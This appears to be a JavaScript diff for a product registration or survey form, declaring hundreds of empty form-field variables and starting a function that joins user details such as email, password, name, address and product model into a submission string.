+SF36="";
+SF37="";
+SF38="";
+SF39="";
+SF40="";
+SF41="";
+SF42="";
+SF43="";
+SF44="";
+SF45="";
+SF46="";
+SF47="";
+SF48="";
+SF49="";
+FA28="";
+FA29="";
+FA30="";
+FA31="";
+II12="";
+II13="";
+II14="";
+AO38="";
+IS38="";
+B638="";
+PRMU="";
+PRMUi=0;
+PRMO="";
+CAMU="";
+CAMUi=0;
+CAMO="";
+INDU="";
+INDUi=0;
+INDO="";
+INDH="";
+II15="";
+II16="";
+II17="";
+II18="";
+II19="";
+II20="";
+PLYP="";
+PLYPi=0;
+WEDT="";
+WEDTi=0;
+FM01="";
+FM02="";
+FM03="";
+FM04="";
+FM05="";
+FM06="";
+FM07="";
+FM08="";
+FM09="";
+FM10="";
+FM11="";
+FM12="";
+FM13="";
+FM14="";
+FM15="";
+FM16="";
+FM17="";
+FM18="";
+FM19="";
+FM20="";
+FM21="";
+FM22="";
+FM23="";
+FM24="";
+FM25="";
+FM26="";
+FM27="";
+FL01="";
+FL02="";
+FL03="";
+FL04="";
+FL05="";
+FL06="";
+FL07="";
+FL08="";
+FL09="";
+FL10="";
+FL11="";
+FL12="";
+FL13="";
+FL14="";
+FL15="";
+FL16="";
+FL17="";
+FL18="";
+FL19="";
+FL20="";
+FL21="";
+FL22="";
+FL23="";
+FL24="";
+FL25="";
+FL26="";
+FL27="";
+AE01="";
+AE02="";
+AE03="";
+AE04="";
+AE05="";
+AE06="";
+AE07="";
+AE08="";
+AE09="";
+AE10="";
+AG01="";
+AG02="";
+AG03="";
+AG04="";
+AG05="";
+AG06="";
+AG07="";
+AG08="";
+AG09="";
+AG10="";
+AF01="";
+AF02="";
+AF03="";
+AF04="";
+AF05="";
+AF06="";
+AF07="";
+AF08="";
+AF09="";
+AF10="";
+AP01="";
+AP02="";
+AP03="";
+AP04="";
+AP05="";
+AP06="";
+AP07="";
+AP08="";
+AP09="";
+AP10="";
+BA01="";
+BA02="";
+BA03="";
+BA04="";
+BA05="";
+BA06="";
+BA07="";
+BA08="";
+BA09="";
+BA10="";
+BA11="";
+BA12="";
+BA13="";
+BA14="";
+BA15="";
+CNCT="";
+CNCTi=-1;
+TCNT="";
+TCNTi=0;
+OCNT="";
+OCNTi=0;
+CMNT="";
+PTYP="";
+PTYPi=0;
+REPS="";
+REPSi=0;
+REPO="";
+SDIS="";
+SDISi=0;
+SDSO="";
+WUSE="";
+WUSEi=0;
+WUSO="";
+RF01="";
+RF02="";
+RF03="";
+RF04="";
+RF05="";
+RF06="";
+RF07="";
+RF08="";
+RFOT="";
+MOUF="";
+MOUFi=0;
+MOFO="";
+CO01="";
+CO02="";
+CO03="";
+CO04="";
+CO05="";
+CO06="";
+CO07="";
+WC01="";
+WC02="";
+WC03="";
+WC04="";
+WC05="";
+WC06="";
+WC07="";
+DVDS="";
+CDDS="";
+MINI="";
+RCRD="";
+TAPE="";
+FDVD="";
+FDVDi=-1;
+ODVD="";
+NCHD="";
+NCHDi=0;
+INCM="";
+INCMi=0;
+HTYP="";
+HTYPi=-1;
+AOLE="";
+AOLEi=-1;
+COLE="";
+COLEi=-1;
+OOLE="";
+HM25="";
+HM26="";
+HM27="";
+HS25="";
+HS26="";
+HS27="";
+PL25="";
+PL25i=-1;
+PL26="";
+PL26i=-1;
+PL27="";
+PL27i=-1;
+IF01="";
+IF01i=0;
+IF02="";
+IF03="";
+IF04="";
+IF05="";
+IF06="";
+IF07="";
+IF08="";
+IF09="";
+IF10="";
+IF11="";
+IF12="";
+IF13="";
+IF14="";
+IF15="";
+IF16="";
+IF17="";
+IF18="";
+IF19="";
+IF20="";
+IF21="";
+IF22="";
+IF23="";
+IF24="";
+IF25="";
+IF26="";
+IF27="";
+IF28="";
+IF29="";
+IF30="";
+IF31="";
+IF32="";
+IF33="";
+IF34="";
+IF35="";
+IF36="";
+IF37="";
+IF38="";
+IF39="";
+IF40="";
+IF41="";
+IFOT="";
+MA01="";
+MA02="";
+MA03="";
+MA04="";
+MA05="";
+MA06="";
+MA07="";
+MA08="";
+MA09="";
+MA10="";
+MA11="";
+MA12="";
+MA13="";
+MA14="";
+MA15="";
+MA16="";
+MA17="";
+MA18="";
+MA19="";
+MA20="";
+MA21="";
+MA22="";
+MA23="";
+MA24="";
+MA25="";
+MA26="";
+MAOT="";
+OF01="";
+OF02="";
+OF03="";
+OF04="";
+OF05="";
+OF06="";
+OF07="";
+OF08="";
+OF09="";
+OF10="";
+OF11="";
+OF12="";
+OF13="";
+OF14="";
+OF15="";
+OF16="";
+OF17="";
+OF18="";
+OF19="";
+OS01="";
+OS02="";
+OS03="";
+OS04="";
+OS05="";
+OS06="";
+OS07="";
+OS08="";
+OS09="";
+OS10="";
+OS11="";
+OS12="";
+OS13="";
+OS14="";
+OS15="";
+OS16="";
+OS17="";
+OS18="";
+OS19="";
+BR01="";
+BR02="";
+BR03="";
+BR04="";
+BR05="";
+BR06="";
+BR07="";
+BR08="";
+BR09="";
+BR10="";
+BR11="";
+BR12="";
+BR13="";
+BR14="";
+BR15="";
+BR16="";
+BR17="";
+BR18="";
+BR19="";
+FC01="";
+FC02="";
+FC03="";
+FC04="";
+FC05="";
+FC06="";
+FC07="";
+FC08="";
+FC09="";
+FC10="";
+FC11="";
+FC12="";
+FC13="";
+FC14="";
+FC15="";
+FC16="";
+FC17="";
+FC01i=-1;
+FC02i=-1;
+FC03i=-1;
+FC04i=-1;
+FC05i=-1;
+FC06i=-1;
+FC07i=-1;
+FC08i=-1;
+FC09i=-1;
+FC10i=-1;
+FC11i=-1;
+FC12i=-1;
+FC13i=-1;
+FC14i=-1;
+FC15i=-1;
+FC16i=-1;
+FC17i=-1;
+UNET="";
+UNETi=-1;
+MARS="";
+MARSi=-1;
+EWAR="";
+EWARi=-1;
+OCOT="";
+CG00="";
+CG00i=-1;
+CG01="";
+CG01i=-1;
+CG02="";
+CG02i=-1;
+CG03="";
+CG03i=-1;
+CG04="";
+CG04i=-1;
+CG05="";
+CG05i=-1;
+CG06="";
+CG06i=-1;
+CG07="";
+CG07i=-1;
+CG08="";
+CG08i=-1;
+CG09="";
+CG09i=-1;
+CG10="";
+CG10i=-1;
+CG11="";
+CG11i=-1;
+COCO="";
+COCOi=0;
+MI00="";
+MI01="";
+MI02="";
+MI03="";
+MI04="";
+MI05="";
+MI06="";
+MI07="";
+MI08="";
+MI09="";
+MI10="";
+MI11="";
+MI12="";
+MI13="";
+MI14="";
+MI00i=-1;
+MI01i=-1;
+MI02i=-1;
+MI03i=-1;
+MI04i=-1;
+MI05i=-1;
+MI06i=-1;
+MI07i=-1;
+MI08i=-1;
+MI09i=-1;
+MI10i=-1;
+MI11i=-1;
+MI12i=-1;
+MI13i=-1;
+MI14i=-1;
+
+YD01="";
+YD02="";
+YD03="";
+YD04="";
+YD05="";
+YD06="";
+YD07="";
+YD08="";
+YD09="";
+YD10="";
+YD11="";
+YD12="";
+YD13="";
+YD14="";
+YD15="";
+YD16="";
+YD17="";
+YD18="";
+YD19="";
+YD20="";
+YD21="";
+YD22="";
+YD23="";
+YD24="";
+YD25="";
+YD26="";
+YD27="";
+YD28="";
+YD29="";
+YD30="";
+YD31="";
+YD32="";
+YD33="";
+YD34="";
+YD35="";
+YD36="";
+YD37="";
+YD38="";
+YD39="";
+YD40="";
+YD41="";
+YD42="";
+YD43="";
+YD44="";
+YD45="";
+YD46="";
+YD47="";
+YD48="";
+YD49="";
+YD50="";
+YD51="";
+YD52="";
+YD53="";
+YD54="";
+YD55="";
+YD01i=-1;
+YD02i=-1;
+YD03i=-1;
+YD04i=-1;
+YD05i=-1;
+YD06i=-1;
+YD07i=-1;
+YD08i=-1;
+YD09i=-1;
+YD10i=-1;
+YD11i=-1;
+YD12i=-1;
+YD13i=-1;
+YD14i=-1;
+YD15i=-1;
+YD16i=-1;
+YD17i=-1;
+YD18i=-1;
+YD19i=-1;
+YD20i=-1;
+YD21i=-1;
+YD22i=-1;
+YD23i=-1;
+YD24i=-1;
+YD25i=-1;
+YD26i=-1;
+YD27i=-1;
+YD28i=-1;
+YD29i=-1;
+YD30i=-1;
+YD31i=-1;
+YD32i=-1;
+YD33i=-1;
+YD34i=-1;
+YD35i=-1;
+YD36i=-1;
+YD37i=-1;
+YD38i=-1;
+YD39i=-1;
+YD40i=-1;
+YD41i=-1;
+YD42i=-1;
+YD43i=-1;
+YD44i=-1;
+YD45i=-1;
+YD46i=-1;
+YD47i=-1;
+YD48i=-1;
+YD49i=-1;
+YD50i=-1;
+YD51i=-1;
+YD52i=-1;
+YD53i=-1;
+YD54i=-1;
+YD55i=-1;
+NI00="";
+NI01="";
+NI02="";
+NI03="";
+NI04="";
+NI05="";
+NI06="";
+NI07="";
+NI08="";
+NI09="";
+NI10="";
+NI11="";
+NI12="";
+NI13="";
+NI14="";
+NI15="";
+NI16="";
+NI17="";
+NI18="";
+NI19="";
+NI20="";
+NI21="";
+NI22="";
+NI23="";
+NI24="";
+NI25="";
+NI26="";
+NI27="";
+NI00i=-1;
+NI01i=-1;
+NI02i=-1;
+NI03i=-1;
+NI04i=-1;
+NI05i=-1;
+NI06i=-1;
+NI07i=-1;
+NI08i=-1;
+NI09i=-1;
+NI10i=-1;
+NI11i=-1;
+NI12i=-1;
+NI13i=-1;
+NI14i=-1;
+NI15i=-1;
+NI16i=-1;
+NI17i=-1;
+NI18i=-1;
+NI19i=-1;
+NI20i=-1;
+NI21i=-1;
+NI22i=-1;
+NI23i=-1;
+NI24i=-1;
+NI25i=-1;
+NI26i=-1;
+NI27i=-1;
+NIOT="";
+
+AC01="";
+AC02="";
+AC03="";
+AC04="";
+AC05="";
+AC06="";
+AC07="";
+AC08="";
+AC09="";
+AC10="";
+AC11="";
+AC12="";
+AC13="";
+AC14="";
+AC15="";
+AC16="";
+AC17="";
+AC18="";
+AC19="";
+AC20="";
+AC21="";
+AC22="";
+AC23="";
+AC24="";
+
+AC01i=-1;
+AC02i=-1;
+AC03i=-1;
+AC04i=-1;
+AC05i=-1;
+AC06i=-1;
+AC07i=-1;
+AC08i=-1;
+AC09i=-1;
+AC10i=-1;
+AC11i=-1;
+AC12i=-1;
+AC13i=-1;
+AC14i=-1;
+AC15i=-1;
+AC16i=-1;
+AC17i=-1;
+AC18i=-1;
+AC19i=-1;
+AC20i=-1;
+AC21i=-1;
+AC22i=-1;
+AC23i=-1;
+AC24i=-1;
+
+AO39="";
+IS39="";
+B639="";
+AO40="";
+IS40="";
+B640="";
+AO41="";
+IS41="";
+B641="";
+AO42="";
+IS42="";
+B642="";
+AO43="";
+IS43="";
+B643="";
+
+AO39i=-1;
+IS39i=-1;
+B639i=-1;
+AO40i=-1;
+IS40i=-1;
+B640i=-1;
+AO41i=-1;
+IS41i=-1;
+B641i=-1;
+AO42i=-1;
+IS42i=-1;
+B642i=-1;
+AO43i=-1;
+IS43i=-1;
+B643i=-1;
+
+EIMG="";
+EIMGi=0;
+IC01="";
+IC02="";
+IC03="";
+IC04="";
+IC05="";
+IC06="";
+IC07="";
+IC01i=-1;
+IC02i=-1;
+IC03i=-1;
+IC04i=-1;
+IC05i=-1;
+IC06i=-1;
+IC07i=-1;
+ICOT="";
+
+SF49="";
+FA32="";
+EISC="";
+EISCi=-1;
+
+COLR="";
+COLRi="0";
+WPOL="";
+SF50="";
+SF50i="-1";
+SF51="";
+SF51i="-1";
+SF52="";
+SF52i="-1";
+SF53="";
+SF53i="-1";
+SF54="";
+SF54i="-1";
+MDRI="";
+MDRIi="-1";
+MDIR="";
+MDIRi="0";
+OB05="";
+OB05i="-1";
+OB06="";
+OB06i="-1";
+OB07="";
+OB07i="-1";
+OB08="";
+OB08i="-1";
+OB09="";
+OB09i="-1";
+OB10="";
+OB10i="-1";
+OB11="";
+OB11i="-1";
+OB12="";
+OB12i="-1";
+OBFI="";
+OP01="";
+OP01i="-1";
+OP02="";
+OP02i="-1";
+OP03="";
+OP03i="-1";
+OP04="";
+OP04i="-1";
+SMDR="";
+SMDRi="0";
+SMDO="";
+DMFI="";
+DMFIi="-1";
+HMFD="";
+HMFDi="0";
+WSMM="";
+WSMMi="0";
+MMFI="";
+MDFP ="";
+MDMP ="";
+MDFC ="";
+MDMC ="";
+SF55 ="";
+SF56 ="";
+SF57 ="";
+SF58 ="";
+SF59 ="";
+SF60 ="";
+SF61 ="";
+SF62 ="";
+SF63 ="";
+SF64 ="";
+SF65 ="";
+SF55i =0;
+SF56i =0;
+SF57i =0;
+SF58i =0;
+SF59i =0;
+SF60i =0;
+SF61i =0;
+SF62i =0;
+SF63i =0;
+SF64i =0;
+SF65i =0;
+SFFI ="";
+RC01 ="";
+RC02 ="";
+RC03 ="";
+RC04 ="";
+RC05 ="";
+RC06 ="";
+RC07 ="";
+RC08 ="";
+RC01i =0;
+RC02i =0;
+RC03i =0;
+RC04i =0;
+RC05i =0;
+RC06i =0;
+RC07i =0;
+RC08i =0;
+RCFI ="";
+RH01 ="";
+RH02 ="";
+RH03 ="";
+RH04 ="";
+RH05 ="";
+RH06 ="";
+RH01i =0;
+RH02i =0;
+RH03i =0;
+RH04i =0;
+RH05i =0;
+RH06i =0;
+RHFI ="";
+FE35 ="";
+FE36 ="";
+FE37 ="";
+FE38 ="";
+FE39 ="";
+FE40 ="";
+FE41 ="";
+FE42 ="";
+FE43 ="";
+FE44 ="";
+FE45 ="";
+FE46 ="";
+FE47 ="";
+FE48 ="";
+FE49 ="";
+FE50 ="";
+FE51 ="";
+FE52 ="";
+FE53 ="";
+FE35i =0;
+FE36i =0;
+FE37i =0;
+FE38i =0;
+FE39i =0;
+FE40i =0;
+FE41i =0;
+FE42i =0;
+FE43i =0;
+FE44i =0;
+FE45i =0;
+FE46i =0;
+FE47i =0;
+FE48i =0;
+FE49i =0;
+FE50i =0;
+FE51i =0;
+FE52i =0;
+FE53i =0;
+NCDK ="";
+NCDKi =0;
+NPRM ="";
+NBLM ="";
+NVRC ="";
+NCTP ="";
+
+PMDP ="";
+PMDR ="";
+CRMD ="";
+MDDK ="";
+PMDPi =-1;
+PMDRi =-1;
+CRMDi =-1;
+MDDKi =-1;
+PUSE = "";
+PUSEi =0;
+IF42="";
+IF43="";
+IF44="";
+IF45="";
+IF46="";
+IF47="";
+IF48="";
+OF00="";
+OS00="";
+BR00="";
+OB13="";
+OB14="";
+
+MO01="";
+MO02="";
+MO03="";
+MO04="";
+MO05="";
+MO06="";
+MO07="";
+MO08="";
+MO09="";
+MO10="";
+MO11="";
+MO12="";
+MO13="";
+
+MO01i=-1;
+MO02i=-1;
+MO03i=-1;
+MO04i=-1;
+MO05i=-1;
+MO06i=-1;
+MO07i=-1;
+MO08i=-1;
+MO09i=-1;
+MO10i=-1;
+MO11i=-1;
+MO12i=-1;
+MO13i=-1;
+
+RF09="";
+RF10="";
+RF11="";
+RF12="";
+RF13="";
+RF14="";
+RF15="";
+RF16="";
+RF17="";
+RF18="";
+RF19="";
+RF20="";
+RF21="";
+RF22="";
+RF23="";
+RF24="";
+RF25="";
+RF26="";
+RF27="";
+RF28="";
+RF29="";
+RF30="";
+RF31="";
+RF32="";
+RF33="";
+RF34="";
+RF35="";
+RF36="";
+RF37="";
+RF38="";
+RF39="";
+RF40="";
+RF41="";
+RF42="";
+RF43="";
+RF44="";
+RF45="";
+RF46="";
+RF47="";
+RF48="";
+RF49="";
+RF50="";
+RF51="";
+RF52="";
+RF53="";
+RF54="";
+RF55="";
+RF56="";
+RF57="";
+RF58="";
+RF59="";
+RF60="";
+RF61="";
+RF62="";
+RF63="";
+RF64="";
+RF65="";
+RF66="";
+RF67="";
+
+RF09i=-1;
+RF10i=-1;
+RF11i=-1;
+RF12i=-1;
+RF13i=-1;
+RF14i=-1;
+RF15i=-1;
+RF16i=-1;
+RF17i=-1;
+RF18i=-1;
+RF19i=-1;
+RF20i=-1;
+RF21i=-1;
+RF22i=-1;
+RF23i=-1;
+RF24i=-1;
+RF25i=-1;
+RF26i=-1;
+RF27i=-1;
+RF28i=-1;
+RF29i=-1;
+RF30i=-1;
+RF31i=-1;
+RF32i=-1;
+RF33i=-1;
+RF34i=-1;
+RF35i=-1;
+RF36i=-1;
+RF37i=-1;
+RF38i=-1;
+RF39i=-1;
+RF40i=-1;
+RF41i=-1;
+RF42i=-1;
+RF43i=-1;
+RF44i=-1;
+RF45i=-1;
+RF46i=-1;
+RF47i=-1;
+RF48i=-1;
+RF49i=-1;
+RF50i=-1;
+RF51i=-1;
+RF52i=-1;
+RF53i=-1;
+RF54i=-1;
+RF55i=-1;
+RF56i=-1;
+RF57i=-1;
+RF58i=-1;
+RF59i=-1;
+RF60i=-1;
+RF61i=-1;
+RF62i=-1;
+RF63i=-1;
+RF64i=-1;
+RF65i=-1;
+RF66i=-1;
+RF67i=-1;
+
+CO08="";
+CO09="";
+CO10="";
+CO11="";
+CO12="";
+CO13="";
+CO14="";
+CO15="";
+CO16="";
+CO17="";
+CO18="";
+CO19="";
+
+CO08i=-1;
+CO09i=-1;
+CO10i=-1;
+CO11i=-1;
+CO12i=-1;
+CO13i=-1;
+CO14i=-1;
+CO15i=-1;
+CO16i=-1;
+CO17i=-1;
+CO18i=-1;
+CO19i=-1;
+
+WUCP="";
+WUCPi=0;
+
+AVSM="";
+AVSMi=0;
+
+SD01="";
+SD02="";
+SD03="";
+SD04="";
+SD05="";
+SD06="";
+SD07="";
+
+SD01i=-1;
+SD02i=-1;
+SD03i=-1;
+SD04i=-1;
+SD05i=-1;
+SD06i=-1;
+SD07i=-1;
+
+TP01="";
+TP02="";
+TP03="";
+TP04="";
+
+WC08="";
+WC09="";
+WC10="";
+WC11="";
+WC12="";
+WC13="";
+WC14="";
+WC15="";
+
+WC08i=-1;
+WC09i=-1;
+WC10i=-1;
+WC11i=-1;
+WC12i=-1;
+WC13i=-1;
+WC14i=-1;
+WC15i=-1;
+
+MD01="";
+MD02="";
+MD03="";
+MD04="";
+MD05="";
+MD06="";
+MD07="";
+MD08="";
+MD09="";
+MD10="";
+MD11="";
+MD12="";
+MD13="";
+MD14="";
+MD15="";
+
+MF01="";
+MF02="";
+MF03="";
+MF04="";
+MF05="";
+MF06="";
+MF07="";
+MF08="";
+MF09="";
+MF10="";
+MF11="";
+MF12="";
+MF13="";
+MF14="";
+MF15="";
+
+PU01="";
+PU02="";
+PU03="";
+PU04="";
+PU05="";
+
+PU01i=-1;
+PU02i=-1;
+PU03i=-1;
+PU04i=-1;
+PU05i=-1;
+
+SF00="";
+SF00i=-1;
+
+NCDR="";
+AGCT="";
+AGCTi=0;
+
+MUS1="";
+MUS2="";
+MUS3="";
+
+MUS1i=0;
+MUS2i=0;
+MUS3i=0;
+
+SF66="";
+SF67="";
+SF68="";
+FA33="";
+FA34="";
+AO44="";
+IS44="";
+B644="";
+AO44i=-1;
+IS44i=-1;
+B644i=-1;
+
+IF52="";
+IF53="";
+IF54="";
+IF55="";
+IF56="";
+IF57="";
+IF58="";
+IF59="";
+IF60="";
+IF61="";
+IF62="";
+IF63="";
+IF64="";
+IF65="";
+IF66="";
+IF67="";
+IF68="";
+
+IF52i=-1;
+IF53i=-1;
+IF54i=-1;
+IF55i=-1;
+IF56i=-1;
+IF57i=-1;
+IF58i=-1;
+IF59i=-1;
+IF60i=-1;
+IF61i=-1;
+IF62i=-1;
+IF63i=-1;
+IF64i=-1;
+IF65i=-1;
+IF66i=-1;
+IF67i=-1;
+IF68i=-1;
+
+MA28="";
+MA28i=-1;
+
+NADL="";
+AGCH="";
+LRNA="";
+LRNAi=0;
+LROT="";
+WHRM="";
+WHRMi="0";
+WROT="";
+DV01="";
+DV01i="-1";
+DV02="";
+DV02i="-1";
+DV03="";
+DV03i="-1";
+DV04="";
+DV04i="-1";
+DV05="";
+DV05i="-1";
+DV06="";
+DV06i="-1";
+DV07="";
+DV07i="-1";
+DV08="";
+DV08i="-1";
+PVUF="";
+PVUFi="0";
+WDVC="";
+WDVCi="0";
+VCOT="";
+VCPU="";
+VCPUi="0";
+PUCA="";
+PUOT="";
+SCAT="";
+SCATi="-1";
+UCBX="";
+UCBXi="-1";
+CRDS="";
+CRDSi="-1";
+SATP="";
+SATPi="-1";
+BRPS="";
+BRES="";
+HMCC="";
+HMCCi="0";
+MRTV="";
+MRTVi="0";
+WTTV="";
+WTTVi="0";
+WTOT="";
+MASL="";
+MASLi="-1";
+RESL="";
+RESLi="-1";
+OVSL="";
+OVSLi="-1";
+MPNC="";
+MPNCi="0";
+NCOT="";
+MPDC="";
+MPDCi="0";
+DCOT="";
+MPCP="";
+MPCPi="0";
+CPOT="";
+
+CA01="";
+CA01i="0";
+CA02="";
+CA02i="0";
+CA03="";
+CA03i="0";
+CA04="";
+CA04i="0";
+CA05="";
+CA05i="0";
+CA06="";
+CA06i="0";
+HMVC="";
+CTVS="";
+CTVSi="0";
+CTVA="";
+CTVAi="0";
+WKCC="";
+WKCCi="0";
+TVBN="";
+VP01="";
+VP01i="-1";
+VP02="";
+VP02i="-1";
+VP03="";
+VP03i="-1";
+VPOT="";
+WWVT="";
+WWVTi="0";
+FKTR="";
+FKTP="";
+FKOP="";
+PKOO="";
+C1AG="";
+C1FV="";
+C2AG="";
+C2FV="";
+C3AG="";
+C3FV="";
+C4AG="";
+C4FV="";
+C1A2="";
+N1HT="";
+N1VT="";
+C2A2="";
+N2HT="";
+N2VT="";
+C3A2="";
+N3HT="";
+N3VT="";
+C4A2="";
+N4HT="";
+N4VT="";
+HECG="";
+HECGi="-1";
+HEIC="";
+HEICi="-1";
+HECC="";
+HECCi="-1";
+HEDV="";
+HEDVi="-1";
+PVPR="";
+PVPRi="0";
+PPOT="";
+BVOV="";
+BVOVi="-1";
+HUVV="";
+HUVVi="0";
+HUOT="";
+RCVC="";
+RCVCi="-1";
+HRVC="";
+HRVCi="0";
+HROT="";
+
+NCP1="";
+CD01="";
+CD02="";
+CD03="";
+CD04="";
+CD05="";
+CD01i=-1;
+CD02i=-1;
+CD03i=-1;
+CD04i=-1;
+CD05i=-1;
+RF73="";
+RF74="";
+RF75="";
+RF76="";
+RF77="";
+RF78="";
+RF79="";
+RF80="";
+RF81="";
+RF82="";
+RF83="";
+RF84="";
+RF85="";
+RF86="";
+RF73i=-1;
+RF74i=-1;
+RF75i=-1;
+RF76i=-1;
+RF77i=-1;
+RF78i=-1;
+RF79i=-1;
+RF80i=-1;
+RF81i=-1;
+RF82i=-1;
+RF83i=-1;
+RF84i=-1;
+RF85i=-1;
+RF86i=-1;
+YUDC="";
+YUDCi=0;
+OCPB="";
+IF49="";
+IF50="";
+MA27="";
+
+CP01="";
+CP02="";
+CP03="";
+CP04="";
+CP05="";
+CP06="";
+CP07="";
+CP08="";
+CP09="";
+CP10="";
+CP11="";
+CPFI="";
+OBRN="";
+OMDL="";
+SNQU="";
+SNQUi=0;
+TS01="";
+TS02="";
+TS03="";
+TS04="";
+TS05="";
+TS06="";
+TS07="";
+TS08="";
+RPAU="";
+RPAUi=0;
+US01="";
+US02="";
+US03="";
+US04="";
+US05="";
+US06="";
+US07="";
+US08="";
+US09="";
+US10="";
+US11="";
+US12="";
+US13="";
+US14="";
+US01i=-1;
+US02i=-1;
+US03i=-1;
+US04i=-1;
+US05i=-1;
+US06i=-1;
+US07i=-1;
+US08i=-1;
+US09i=-1;
+US10i=-1;
+US11i=-1;
+US12i=-1;
+US13i=-1;
+US14i=-1;
+LK01="";
+LK02="";
+LK03="";
+LK04="";
+LK05="";
+LK06="";
+LK07="";
+LK08="";
+LK09="";
+LK10="";
+LK11="";
+LK12="";
+LK13="";
+LK14="";
+LK01i=-1;
+LK02i=-1;
+LK03i=-1;
+LK04i=-1;
+LK05i=-1;
+LK06i=-1;
+LK07i=-1;
+LK08i=-1;
+LK09i=-1;
+LK10i=-1;
+LK11i=-1;
+LK12i=-1;
+LK13i=-1;
+LK14i=-1;
+NCID="";
+NCIDi=0;
+NP01="";
+NP02="";
+NP03="";
+NP04="";
+NP05="";
+NP06="";
+NP07="";
+NP08="";
+PLPH="";
+PLPHi=0;
+LPFI="";
+
+POP2="";
+POP2i=0;
+OPP2="";
+PULO="";
+PULOi=0;
+ARTI="";
+ARTIi=0;
+FND2="";
+FND2i=-1;
+IWUM="";
+IWUMi=0;
+VTPS="";
+VTPSi=0;
+VPFI="";
+MART="";
+MARTi=0;
+
+OB15="";
+IF69="";
+IF70="";
+IF71="";
+OF20="";
+OS20="";
+BR20="";
+OF21="";
+OS21="";
+BR21="";
+FC18="";
+FC18i=-1;
+
+IF72="";
+IF73="";
+IF74="";
+IF75="";
+IF76="";
+IF77="";
+IF78="";
+MA29="";
+MA30="";
+OF22="";
+OS22="";
+BR22="";
+
+IF79="";
+IF80="";
+IF81="";
+MA31="";
+OF23="";
+OS23="";
+BR23="";
+OF24="";
+OS24="";
+BR24="";
+OF25="";
+OS25="";
+BR25="";
+OF26="";
+OS26="";
+BR26="";
+FC19="";
+FC19i=-1;
+IF51="";
+SUIN="";
+SUINi=-1;
+CBRN="";
+CBRNi=0;
+PICW="";
+PICWi=-1;
+PICI="";
+PICIi=-1;
+WS01="";
+WS02="";
+WS03="";
+WS04="";
+WS05="";
+WS06="";
+WS07="";
+WS08="";
+WS09="";
+WS10="";
+WSOT="";
+WR01="";
+WR02="";
+WR03="";
+WR04="";
+WR05="";
+WR06="";
+WR07="";
+WR08="";
+WR09="";
+WR10="";
+WR11="";
+WR12="";
+WR13="";
+SV01="";
+SV02="";
+SV03="";
+BMOL="";
+BMOLi=-1;
+WTBM="";
+WTBMi=0;
+WJSU="";
+WJSUi=0;
+
+OF27="";
+OS27="";
+BR27="";
+OF28="";
+OS28="";
+BR28="";
+IF82="";
+IF83="";
+MA32="";
+MA33="";
+MA34="";
+
+SFOT="";
+
+A_Reg=0;
+DI_Reg_Code=0;
+
+function formData() {
+ age_header="19";
+ data="";
+ data+="&UNID="+UNID
+ +"&DIstat="+DI_Reg_Code
+ +"&EMAL="+EMAL
+ +"&PASS="+PASS
+ +"&PASV="+PASV
+ +"&FNAM="+FNAM
+ +"&LNAM="+LNAM
+ +"&ADD1="+ADD1
+ +"&ADD2="+ADD2
+ +"&CITY="+CITY
+ +"&STAT="+STAT
+ +"&ZIPC="+ZIPC
+ +"&PHON="+PHON
+ +"&AGES="+age_header+AGES
+ +"&SEXX="+SEXX
+ +"&OCCU="+OCCU
+ +"&OCCO="+OCCO
+ +"&MODL="+MODL
+ +"&SRNU="+SRNU
+ +"&MNTH="+MNTH
+ +"&YEAR="+YEAR
+ +"&POPR="+POPR
+ +"&OPOP="+OPOP
+ +"&WHEN="+WHEN
+ +"&INFL="+INFL
+ +"&FNDS="+FNDS
+ +"&WGFT="+WGFT
+ +"&HM01="+HM01
+ +"&HM02="+HM02
+ +"&HM03="+HM03
+ +"&HM04="+HM04
+ +"&HM05="+HM05
+ +"&HM06="+HM06
+ +"&HM07="+HM07
+ +"&HM08="+HM08
+ +"&HM09="+HM09
+ +"&HM10="+HM10
+ +"&HM11="+HM11
+ +"&HM12="+HM12
+ +"&HM13="+HM13
+ +"&HM14="+HM14
+ +"&HM15="+HM15
+ +"&HM16="+HM16
+ +"&HM17="+HM17
+ +"&HM18="+HM18
+ +"&HM19="+HM19
+ +"&HM20="+HM20
+ +"&HM21="+HM21
+ +"&HM22="+HM22
+ +"&HM23="+HM23
+ +"&HM24="+HM24
+ +"&HS01="+HS01
+ +"&HS02="+HS02
+ +"&HS03="+HS03
+ +"&HS04="+HS04
+ +"&HS05="+HS05
+ +"&HS06="+HS06
+ +"&HS07="+HS07
+ +"&HS08="+HS08
+ +"&HS09="+HS09
+ +"&HS10="+HS10
+ +"&HS11="+HS11
+ +"&HS12="+HS12
+ +"&HS13="+HS13
+ +"&HS14="+HS14
+ +"&HS15="+HS15
+ +"&HS16="+HS16
+ +"&HS17="+HS17
+ +"&HS18="+HS18
+ +"&HS19="+HS19
+ +"&HS20="+HS20
+ +"&HS21="+HS21
+ +"&HS22="+HS22
+ +"&HS23="+HS23
+ +"&HS24="+HS24
+ +"&PL01="+PL01
+ +"&PL02="+PL02
+ +"&PL03="+PL03
+ +"&PL04="+PL04
+ +"&PL05="+PL05
+ +"&PL06="+PL06
+ +"&PL07="+PL07
+ +"&PL08="+PL08
+ +"&PL09="+PL09
+ +"&PL10="+PL10
+ +"&PL11="+PL11
+ +"&PL12="+PL12
+ +"&PL13="+PL13
+ +"&PL14="+PL14
+ +"&PL15="+PL15
+ +"&PL16="+PL16
+ +"&PL17="+PL17
+ +"&PL18="+PL18
+ +"&PL19="+PL19
+ +"&PL20="+PL20
+ +"&PL21="+PL21
+ +"&PL22="+PL22
+ +"&PL23="+PL23
+ +"&PL24="+PL24
+ +"&TVSO="+TVSO
+ +"&CE01="+CE01
+ +"&CE02="+CE02
+ +"&NEMA="+NEMA
+ +"&PPUR="+PPUR
+ +"&PPUO="+PPUO
+ +"&CON1="+CON1
+ +"&CON2="+CON2
+ +"&CON3="+CON3
+ +"&STNM="+STNM
+ +"&FE01="+FE01
+ +"&FE02="+FE02
+ +"&FE03="+FE03
+ +"&FE04="+FE04
+ +"&FE05="+FE05
+ +"&FE06="+FE06
+ +"&FE07="+FE07
+ +"&FE08="+FE08
+ +"&FE09="+FE09
+ +"&FE10="+FE10
+ +"&FE11="+FE11
+ +"&FE12="+FE12
+ +"&FE13="+FE13
+ +"&FE14="+FE14
+ +"&FE15="+FE15
+ +"&FE16="+FE16
+ +"&FE17="+FE17
+ +"&FE18="+FE18
+ +"&FE19="+FE19
+ +"&FE20="+FE20
+ +"&FE21="+FE21
+ +"&FE22="+FE22
+ +"&FE23="+FE23
+ +"&FE24="+FE24
+ +"&FE25="+FE25
+ +"&FE26="+FE26
+ +"&FE27="+FE27
+ +"&FE28="+FE28
+ +"&FE29="+FE29
+ +"&FE30="+FE30
